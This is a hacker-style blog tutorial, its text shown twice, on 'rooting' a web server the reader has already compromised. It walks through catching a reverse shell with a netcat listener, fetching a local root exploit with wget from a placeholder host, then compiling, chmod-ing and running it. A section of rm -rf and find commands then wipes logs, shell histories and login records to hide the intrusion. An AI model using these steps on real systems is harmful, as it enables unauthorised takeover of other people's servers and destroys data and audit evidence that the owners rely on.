Server Rooting Tutorials -Full Guide with SS
Hi guys today i will tell you how to root a server in few easy steps .
Things Required :
NetcaT
Shelled site
Local root expl0it
Step By Step Tutorial :
First go to Run & type cmd then type :
( Make sure that you Netcat is saved in the following directory ) .
![[Image: 11.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDQpGOdHeSMgEnWEhrZWN8kqhbbaDVKLSpBcskv7pfTixrvLY6qrdqbVopsrIB0uHf0LLEZJBj5GiE6vhcugKF6PFMl1zEfYBMC2kIk2XAXCTDclofocVKXW2xMd8txbryzxpQkvlUhLE/s1600/11.jpg)
Now Type : nc -n -l -v -p 443 , then it would show like the image shown below .
![[Image: 12.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoeq4irC9-IXPFxEt8boKWczpyHQOeV2ClyFkFBuqhZcEBkTEtD5BbyDbhCPEFpCQAy9jYofI5T3rz6c2b6X-5RSLSiP4yGpHxSzcpP3lVLTF-DzagBAH_buXMs1HCVNb_j9y3h8uST3g/s1600/12.jpg)
Its time to open your shell & then connect using back connect function in your shell ( Make sure that you are not using any Vpn or Proxy ) . Then after the connection is established you will see something as shown in the screenshot below .
![[Image: 13.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_R-u01IcWJ5detywdluNvEagDKPKPky49u5GOB13GTgps7etLrFVfw5Khg56F-M704CgMv3yG2xwRroK719zKSu09B8CLuapxRpvWRZ2yYoU-vP2Yk8qrMb5Oq6xQe5baSSMVvDlD9T4/s1600/13.jpg)
![[Image: CWINDOWSsystem32cmd.exe+-+nc+-n+-l+-v+-p...127+AM.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG8TJzcuaGbYJDW95pu9G0a4iv4TU8cbiVgtA_I3puXpWmXP31H0HIGxXXWxseXkW-mgEYH7H4_48uS7A5jaXl-7pOSUYQWWPOELF5CdEy3vMTggiJqHmLhbtTNUV5vb6b6nUobDWXmz4/s1600/CWINDOWSsystem32cmd.exe+-+nc+-n+-l+-v+-p+443+4202012+32127+AM.jpg)
So you have successfully connected .. Then now we have to get our Local Root Exploit, like mine is 2.6.18-374 2011 .
![[Image: 14.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5qlnL8zoEKvnUALU39YydncWrUA9Xnl1LPPzryLOnZCp9M7SMnrofjkREoOc36U32Rjyqs25hvq9I32E8GQhkpSod3hWHqgqS4L7kWTkEotOteepgsqV_733Z3t6NO4h9_DMxjkG5u_0/s1600/14.jpg)
In this step we have to upload our exploit in a writable folder, so instead of wasting our time in finding them ..we can just change the directory to the /tmp folder which is a standard writable folder .
Type this command to change dir to /tmp :
To upload your your exploit we will use wget function .
Type :
Now this will upload the exploit in the tmp folder .
![[Image: 15.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh04NG8VZ3zJnSFOfGaEfF13ku3F2Mc4cBm7D7p2p_9Wj9u7O030AOCtdsUktpj8WoI6BtoNXiHLodDxE_QUXMpKLZy4ruW4P7eWMlZB0IXXpwyuk2ES_x2WiGmgDKqUyOMS0TzDdLOvv4/s1600/15.jpg)
(Case 1) if you have uploaded your exploit as .c (exploit.c) the we have to compile it, so to compile it we will type the following command .
Type :
Keep in mind in the above command exploit refers to the name of your exploit (exploit.c) .so if its properly compiled with no errors & warning then you can proceed or if you get an error then find another exploit.
(Case 2) If you have uploaded your exploit in a zip file then you have to unzip it by typing the below command .
Type:
After we have done all the above steps correctly, its time to give permission so we will type the following command
Type:
Now its time to run the Exploit, to run the exploit we will type the following command
Type:
Now the exploit will run & the server will be rooted ;) . To check weather we got root we can type
Type:
Clearing Logs:
Now its our time to clearing our tracks or Logs . so below are some commands to delete the log files .
Hope you all guys have enjoyed this Tutorial .. If you have any Doubts then just mention it Via reply !
Use this hack wisely :)
And the download links
Netcat : Click Here
Local root exploit : Click Here
Things Required :
NetcaT
Shelled site
Local root expl0it
Step By Step Tutorial :
First go to Run & type cmd then type :
Code:
cd C:\Program Files\Netcat
![[Image: 11.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDQpGOdHeSMgEnWEhrZWN8kqhbbaDVKLSpBcskv7pfTixrvLY6qrdqbVopsrIB0uHf0LLEZJBj5GiE6vhcugKF6PFMl1zEfYBMC2kIk2XAXCTDclofocVKXW2xMd8txbryzxpQkvlUhLE/s1600/11.jpg)
Now Type : nc -n -l -v -p 443 , then it would show like the image shown below .
![[Image: 12.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoeq4irC9-IXPFxEt8boKWczpyHQOeV2ClyFkFBuqhZcEBkTEtD5BbyDbhCPEFpCQAy9jYofI5T3rz6c2b6X-5RSLSiP4yGpHxSzcpP3lVLTF-DzagBAH_buXMs1HCVNb_j9y3h8uST3g/s1600/12.jpg)
Its time to open your shell & then connect using back connect function in your shell ( Make sure that you are not using any Vpn or Proxy ) . Then after the connection is established you will see something as shown in the screenshot below .
![[Image: 13.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_R-u01IcWJ5detywdluNvEagDKPKPky49u5GOB13GTgps7etLrFVfw5Khg56F-M704CgMv3yG2xwRroK719zKSu09B8CLuapxRpvWRZ2yYoU-vP2Yk8qrMb5Oq6xQe5baSSMVvDlD9T4/s1600/13.jpg)
![[Image: CWINDOWSsystem32cmd.exe+-+nc+-n+-l+-v+-p...127+AM.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG8TJzcuaGbYJDW95pu9G0a4iv4TU8cbiVgtA_I3puXpWmXP31H0HIGxXXWxseXkW-mgEYH7H4_48uS7A5jaXl-7pOSUYQWWPOELF5CdEy3vMTggiJqHmLhbtTNUV5vb6b6nUobDWXmz4/s1600/CWINDOWSsystem32cmd.exe+-+nc+-n+-l+-v+-p+443+4202012+32127+AM.jpg)
So you have successfully connected .. Then now we have to get our Local Root Exploit, like mine is 2.6.18-374 2011 .
![[Image: 14.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5qlnL8zoEKvnUALU39YydncWrUA9Xnl1LPPzryLOnZCp9M7SMnrofjkREoOc36U32Rjyqs25hvq9I32E8GQhkpSod3hWHqgqS4L7kWTkEotOteepgsqV_733Z3t6NO4h9_DMxjkG5u_0/s1600/14.jpg)
In this step we have to upload our exploit in a writable folder, so instead of wasting our time in finding them ..we can just change the directory to the /tmp folder which is a standard writable folder .
Type this command to change dir to /tmp :
Code:
cd /tmp
Type :
Code:
wget http://www.somesite.com/exploit.c
Now this will upload the exploit in the tmp folder .
![[Image: 15.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh04NG8VZ3zJnSFOfGaEfF13ku3F2Mc4cBm7D7p2p_9Wj9u7O030AOCtdsUktpj8WoI6BtoNXiHLodDxE_QUXMpKLZy4ruW4P7eWMlZB0IXXpwyuk2ES_x2WiGmgDKqUyOMS0TzDdLOvv4/s1600/15.jpg)
(Case 1) if you have uploaded your exploit as .c (exploit.c) the we have to compile it, so to compile it we will type the following command .
Type :
Code:
gcc exploit.c -o exploit
Keep in mind in the above command exploit refers to the name of your exploit (exploit.c) .so if its properly compiled with no errors & warning then you can proceed or if you get an error then find another exploit.
(Case 2) If you have uploaded your exploit in a zip file then you have to unzip it by typing the below command .
Type:
Code:
unzip exploit.zip
After we have done all the above steps correctly, its time to give permission so we will type the following command
Type:
Code:
chmod 777 exploit
Now its time to run the Exploit, to run the exploit we will type the following command
Type:
Code:
./exploit
Now the exploit will run & the server will be rooted ;) . To check weather we got root we can type
Type:
Code:
id or whoami
Clearing Logs:
Now its our time to clearing our tracks or Logs . so below are some commands to delete the log files .
Code:
rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp
history -c
find / -name *.bash_history -exec rm -rf {} \;
find / -name *.bash_logout -exec rm -rf {} \;
find / -name "log*" -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;
Hope you all guys have enjoyed this Tutorial .. If you have any Doubts then just mention it Via reply !
Use this hack wisely :)
And the download links
Netcat : Click Here
Local root exploit : Click Here
0 comments: